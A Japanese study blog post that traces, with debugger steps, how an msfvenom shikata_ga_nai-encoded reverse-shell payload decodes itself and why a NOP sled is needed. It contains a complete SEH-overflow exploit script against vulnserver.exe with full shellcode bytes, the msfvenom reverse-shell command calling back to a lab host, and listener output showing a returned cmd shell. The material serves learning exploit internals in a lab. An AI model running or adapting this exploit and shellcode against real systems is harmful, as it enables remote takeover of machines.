高林の雑記ブログ

こんにちは。

msfvenomで作成したpayloadのデコード動作を追う

概要

HackTheBoxやVulnhubに取り組む際にmsfvenomコマンドでReverseShellPayloadを作成してExploitを実行することは多いが、msfvenomによって作成されるペイロードshikataga_naiというエンコーダーによってエンコードされている。

今まではあんまりそのことを深く考えなくても動けばいいや的に考えていたが、さすがにそうもいかなくなってきた(自分が満足できなくなってきた)ので改めてエンコード・デコードの詳細を理解したいと思います。

encodeされたPayloadのdecodeの仕組み

まず、エンコードされたペイロードにはそれをデコードして元の意味のあるPayloadに直す部分が付いている。

 decodeする前
|  decodeする処理 |  <- ここはdecodeするための命令が書かれている。
|             ~              |  ReverseShellとは直接は関係ない
|  decodeする処理 | 
|  意味不明な命令  |  <- ここから下はencodeされており、
|  意味不明な命令  |       今のままでは意味のない命令が書き込まれている
|  意味不明な命令  |
|  意味不明な命令  |
|  意味不明な命令  |

   decodeした後
|  decodeする処理 | 
|             ~              |
|  decodeする処理 | 
| ReverseShellの動作 |  <- 意味不明な命令を"xor"などでdecodeすることで
| ReverseShellの動作 |       意味のある命令に!
| ReverseShellの動作 |  decodeした後はこの命令を実行していく!
| ReverseShellの動作 |

msfvenomでReverseShellPayloadを作成すると基本的に上のようなエンコードされたPayloadが作成される。(defaultでshikata_ga_naiを使用する)

ここで、
「これEncodeする意味あんの?直接ReverseShellのshellcodeぶち込めばいいやん」
という疑問がわいてくるが、これでは上手く動作しないことが多い。

例えば、Buffer Overflowでは何らかの入力に対して過剰な量を送り付けてスタックにPayloadをのせるが、大抵"\x00"(NULL bytes)を文字列の入力の終端としてとらえるため、この"\x00"以降の入力がスタックに載せられなくなってしまう。
つまり、Payloadに"\x00"が存在すると、完全なPayloadをスタックに積めなくなってしまう。これは"\x0a","\x0d"などの改行文字にも当てはまる(場合がある)。

よって、そのような"含まれてはいけない文字"を特定して、その文字抜きでPayloadを構成する必要がある。

事前準備

今回は、SEH overflowの脆弱性のあるプログラムを悪用する場合を考える。(今回の焦点はSEH overflowではないので知らなくても全然大丈夫です)
対象はWindows7(32bit)で動作しているvulnserver.exe
payloadにはmsfvenomで作成したものを使う。以下、使用するexploit code

import sys
import socket
host = "192.168.56.6"
port = 9999

badheader = "GMON /"
baddata = b"\x90" * 2773
#start payload
baddata += "\x90"*16
# sudo msfvenom -p windows/shell_reverse_tcp LPORT=4444 LHOST=192.168.56.5 -b "\x00\x0a\x0d" -f py --var-name baddata
baddata += b"\xd9\xc1\xd9\x74\x24\xf4\xbe\xcf\x6f\x35\xbb\x58"
baddata += b"\x31\xc9\xb1\x52\x31\x70\x17\x03\x70\x17\x83\x0f"
baddata += b"\x6b\xd7\x4e\x73\x9c\x95\xb1\x8b\x5d\xfa\x38\x6e"
baddata += b"\x6c\x3a\x5e\xfb\xdf\x8a\x14\xa9\xd3\x61\x78\x59"
baddata += b"\x67\x07\x55\x6e\xc0\xa2\x83\x41\xd1\x9f\xf0\xc0"
baddata += b"\x51\xe2\x24\x22\x6b\x2d\x39\x23\xac\x50\xb0\x71"
baddata += b"\x65\x1e\x67\x65\x02\x6a\xb4\x0e\x58\x7a\xbc\xf3"
baddata += b"\x29\x7d\xed\xa2\x22\x24\x2d\x45\xe6\x5c\x64\x5d"
baddata += b"\xeb\x59\x3e\xd6\xdf\x16\xc1\x3e\x2e\xd6\x6e\x7f"
baddata += b"\x9e\x25\x6e\xb8\x19\xd6\x05\xb0\x59\x6b\x1e\x07"
baddata += b"\x23\xb7\xab\x93\x83\x3c\x0b\x7f\x35\x90\xca\xf4"
baddata += b"\x39\x5d\x98\x52\x5e\x60\x4d\xe9\x5a\xe9\x70\x3d"
baddata += b"\xeb\xa9\x56\x99\xb7\x6a\xf6\xb8\x1d\xdc\x07\xda"
baddata += b"\xfd\x81\xad\x91\x10\xd5\xdf\xf8\x7c\x1a\xd2\x02"
baddata += b"\x7d\x34\x65\x71\x4f\x9b\xdd\x1d\xe3\x54\xf8\xda"
baddata += b"\x04\x4f\xbc\x74\xfb\x70\xbd\x5d\x38\x24\xed\xf5"
baddata += b"\xe9\x45\x66\x05\x15\x90\x29\x55\xb9\x4b\x8a\x05"
baddata += b"\x79\x3c\x62\x4f\x76\x63\x92\x70\x5c\x0c\x39\x8b"
baddata += b"\x37\xf3\x16\xab\xc2\x9b\x64\xcb\xdd\x07\xe0\x2d"
baddata += b"\xb7\xa7\xa4\xe6\x20\x51\xed\x7c\xd0\x9e\x3b\xf9"
baddata += b"\xd2\x15\xc8\xfe\x9d\xdd\xa5\xec\x4a\x2e\xf0\x4e"
baddata += b"\xdc\x31\x2e\xe6\x82\xa0\xb5\xf6\xcd\xd8\x61\xa1"
baddata += b"\x9a\x2f\x78\x27\x37\x09\xd2\x55\xca\xcf\x1d\xdd"
baddata += b"\x11\x2c\xa3\xdc\xd4\x08\x87\xce\x20\x90\x83\xba"
baddata += b"\xfc\xc7\x5d\x14\xbb\xb1\x2f\xce\x15\x6d\xe6\x86"
baddata += b"\xe0\x5d\x39\xd0\xec\x8b\xcf\x3c\x5c\x62\x96\x43"
baddata += b"\x51\xe2\x1e\x3c\x8f\x92\xe1\x97\x0b\xa2\xab\xb5"
baddata += b"\x3a\x2b\x72\x2c\x7f\x36\x85\x9b\xbc\x4f\x06\x29"
baddata += b"\x3d\xb4\x16\x58\x38\xf0\x90\xb1\x30\x69\x75\xb5"
baddata += b"\xe7\x8a\x5c"

baddata += "\x90"*(3518 - len(baddata))

baddata += "\xeb\x0f\x90\x90"
baddata += "\xb4\x10\x50\x62"
baddata += "\x59\xfe\xcd\xfe\xcd\xfe\xcd\xff\xe1\xe8\xf2\xff\xff\xff"
baddata += "D"*(4000-len(baddata))

print("Sending payload....")
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect((host,port))
s.send(badheader + baddata)
s.close()

Payload実行直前

以下のようになんやかんやして自分の用意したReverseShellPayloadに実行位置を制御できたとする。以下では、0x0171fcebからPayloadが始まる。
f:id:kakyouim:20200615003717p:plain
以下ではこの時のレジスタの状況である。
ここで重要なのはespである。ここがeipと同じ0x0171fceb(またはその近く)を指している場合、あとで面倒なことになる。
f:id:kakyouim:20200615003751p:plain

Decodeするとこ

ここで、Decodeする処理の部分は以下である。

FLD ST(1)     FPU命令。デコード命令のアドレスを取得する際に必要。
FSTENV (28-BYTE) PTR SS:[ESP-C]      [esp-0xc]のアドレスに、デコーダーの最初のFPU命令のアドレスを含む28bytes分を書き込む。
MOV ESI,BB356FCF     ESIを"xor"する際の片方として使う。
POP EAX            decode処理の先頭を指すアドレスをeaxに代入する。
XOR ECX,ECX     ECX(カウンタ)を初期化。このあとのループ処理の時に使う。
MOV CL,52    ECXの下位1バイトに"0x52"を代入。つまり、0x52回ループする。
XOR DWORD PTR DS:[EAX+17],ESI    [eax+17]=[0x0171fceb+17]=[0x0171fcfe]に、"xor"した値を書き込む!
ADD ESI,DWORD PTR DS:[EAX+17]    ESIにこの結果を保存する。
ADD EAX,4  (元OR DWORD PTR DS:[EDI]6B) eax+4しておくことで、次の[EAX+17]を"xor"で上書きする際に、次の4bytesにずらす
LOOPD SHORT 0x71FCFB (元XLAT BYTE PTR DS:[EBX+AL]) 以降はECXが0になるまでループを繰り返す。

FLD ST(1) 実行後

FPU命令。デコード命令のアドレスを取得する際に必要。
f:id:kakyouim:20200615011028p:plain
この時のレジスタは以下。
f:id:kakyouim:20200615011145p:plain
この時のスタックの様子は以下。
f:id:kakyouim:20200615011116p:plain

FSTENV (28-BYTE) PTR SS:[ESP-C] 実行後

[esp-0xc]のアドレスに、デコーダーの最初のFPU命令のアドレスを含む28bytes分を書き込む。
この命令を機能させるための要件は、少なくとも1つのFPU命令がこの命令の前に実行されることである。
f:id:kakyouim:20200615011423p:plain
f:id:kakyouim:20200615011452p:plain
ここで、espの指すアドレスに0171FCEBが代入されている。 これは、一つ前のFLD ST(1)のアドレスであり、デコード処理部分の基準となるアドレスである。
f:id:kakyouim:20200615011514p:plain
また、espから16bytes分が"0000"や"FFFF"で上書きされていることに注意したい。ここでは、[esp-0xc]に28bytes書き込むので、残りの16bytes(28-0xc)が書き込まれている。
もしこの時、ESPがPayloadの先頭を指している場合は、用意したPayloadが"0000"や"FFFF"で上書きされてしまうため、エラーとなる。
こういう状況は、SEH overflowじゃなくてバニラBOFの場合(EIPをjmp espのアドレスに書き換えるやつ)に起きる。
そのため、この場合は必ず"\x90"*16nopスレッドが必要となる。
これはなぜ必要なのかわかりにくく忘れがちであるが、必須である。

例えば、今もしespが0x0171fceb(Payloadの先頭)を指しているとするなら(実際は違うが)、

-------------------------------------------------------
FSTENV (28-BYTE) PTR SS:[ESP-C] 実行前

D9C1                FLD ST(1)
D97424F4        FSTENV (28-BYTE) PTR SS:[ESP-C]  <- EIP
BECF6F35BB    MOV ESI,BB356FCF
58                    POP EAX
31C9                XOR ECX,ECX
B152                MOV CL,52
317017            XOR DWORD PTR DS:[EAX+17],ESI
-----------------------------------------------------
FSTENV (28-BYTE) PTR SS:[ESP-C] 実行後

0000                FLD ST(1)
00000000        FSTENV (28-BYTE) PTR SS:[ESP-C]
0000000000    MOV ESI,BB356FCF                        <- EIP 上書きされたせいで意味不明な命令となった!
00                    POP EAX                                             プログラムは落ちる!
FFFF                XOR ECX,ECX
0000                MOV CL,52        <- ここまで(16bytes分)上書きされてしまう! 
317017            XOR DWORD PTR DS:[EAX+17],ESI

なお、必ず上のようなdecode処理となっているわけではなく多少の違いはあるため、16bytesでなくても、8bytesでもうまく行く場合もある。
今回の場合は最悪14bytes(10bytesか?どっちだ?)のnopの確保で何とかなりそう

このタイプのnopが必ず必要となるexploitの例として以下がある。どれも必ずNOPがshellcode直前に入っていることが確認できる。
https://qiita.com/v_avenger/items/fef9fa1eb92b4cf7a332

https://qiita.com/v_avenger/items/0af8602e4572889f9184
https://vulp3cula.gitbook.io/hackers-grimoire/exploitation/buffer-overflow
参考

exploit - Why shell code only with nop slide working for me? - Reverse Engineering Stack Exchange

MOV ESI,BB356FCF 実行後

ESIを"xor"する際の片方として使う。ESIに代入される値と意味不明な命令の"xor"を取ると、意味のある命令となるようになっている。
この"BB356FCF"と"意味不明な命令"のペアは毎回msfvenomを呼び出すたびに変化する。また、どのレジスタを"xor"する際に使うかも毎回変わる。これがmsfvenomでPayloadを作るたびに内容が違う理由である。(仕組み自体は毎回同じ)
f:id:kakyouim:20200615013840p:plain
ESIに”BB356FCF”が書き込まれた。
f:id:kakyouim:20200615013913p:plain

POP EAX 実行後

decode処理の先頭を指すアドレスをeaxに代入する。
f:id:kakyouim:20200615020224p:plain
f:id:kakyouim:20200615020247p:plain
スタック上のdecode処理の先頭を指すアドレスがeaxに代入された。
espは4バイト下に移動。
f:id:kakyouim:20200615020317p:plain

XOR ECX,ECX 実行後

ECX(カウンタ)を初期化。このあとのループ処理の時に使う。
f:id:kakyouim:20200615020532p:plain
ECX(カウンタ)を初期化。
f:id:kakyouim:20200615020557p:plain

MOV CL,52 実行後

ECXの下位1バイトに"0x52"を代入。つまり、0x52回ループする。"4*0x52"バイトをdecodeするということ。

rax = 8bytes
eax = 4bytes
ax   = 下位2bytes
al    = 下位1bytes
ah   = 下位2bytesのうちの上の1bytes(alの片方)

f:id:kakyouim:20200615020708p:plain
ECXの下位1バイトに"0x52"を代入。
f:id:kakyouim:20200615020729p:plain

XOR DWORD PTR DS:[EAX+17],ESI 実行後

[eax+17]=[0x0171fceb+17]=[0x0171fcfe]に、"xor"した値を書き込む!
OR命令の3bytes(317017)がADD EAX,4命令に変わっている!
XLAT命令の1byte(D7)がLOOPD SHORT命令に変わっている!
loopd命令はECXカウンタが0になるまでループを繰り返す。ここでは、0x52回ループして、4bytesずつデコードしていく。
f:id:kakyouim:20200615023549p:plain

ADD ESI,DWORD PTR DS:[EAX+17] 実行後

ESIにこの結果を保存する。そして、次の4bytesの"意味不明な命令"と"xor"することで、"意味のある命令"にデコードする。
f:id:kakyouim:20200615021703p:plain
ESIにこの結果を保存する。
f:id:kakyouim:20200615021725p:plain

ADD EAX,4 実行後

eax+4しておくことで、次の[EAX+17]を"xor"で上書きする際に、次の4bytesにずらす
encoderによっては、ADD EAX,4じゃなくてSUB EAX,-4(マイナスに注意)が使われたりもする。
f:id:kakyouim:20200615022312p:plain
f:id:kakyouim:20200615022339p:plain

LOOPD SHORT 0x71FCFB 実行後

以降はECXが0になるまでループを繰り返す。
f:id:kakyouim:20200615022652p:plain

0x52回のループ後(完全にdecode後)

完全にデコードしたとき、以下のようになった。
見ての通り、元の意味不明だった命令が、ReverseShellの命令に置き換わっている。
デコード後はこれらの命令を実行して、ReverseShellを呼び出すことになる。
f:id:kakyouim:20200615022848p:plain

ReverseShellを実行するとこ

ここら辺はあんまりよくわかっていないが、大体以下の挙動をするっぽい。何か重要な抜けてる動作があれば教えてください。

ざっくりとした動作

  • kernel32.LoadLibraryA
    Windowsで通信する際に使用する、"ws2_32.dll"をkernel32.dllに存在するLoadLiraryA関数でLoadする。
  • WSASocketW関数を実行
    LoadしたDLL内の関数を実行して通信する。この時点で、以下のように攻撃者に接続が返る。
root@kali:~/$ nc -lvp 4444
listening on [any] 4444 ...
192.168.56.6: inverse host lookup failed: Unknown host
connect to [192.168.56.5] from (UNKNOWN) [192.168.56.6] 49160
  • kernel32.CreateProcessA
    子プロセスを作成するkernel32.dllの関数を呼びだす。
    ここでは、"cmd.exe"を子プロセスとして呼びだす。
    これを呼び出すことで、以下のように攻撃者にcmdが返る。
root@kali:~/$ nc -lvp 4444
listening on [any] 4444 ...
192.168.56.6: inverse host lookup failed: Unknown host
connect to [192.168.56.5] from (UNKNOWN) [192.168.56.6] 49160
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\IEUser\Downloads\vulnserver>
  • kernel32.WaitForSingleObject
    この関数で攻撃者の入力を待機する。ReverseShellPayloadはこの関数の実行で終わる。(Debuggerで[Running]となる)

まとめ

今回はSEHベースのBoFを題材にデコードする処理を追ってみました。
こうして何をするのかを追うことで、バニラBOFの場合にmsfvenom Payloadの前に適切な数の"\x90"(NOP)が必要だということを理解できたと思います。
奥が深いですね。まだまだ分からないことだらけなので勉強していきたいです!
間違ってるとことかアドバイスがあればぜひ教えてください!

参考文献

www.corelan.be
www.corelan.be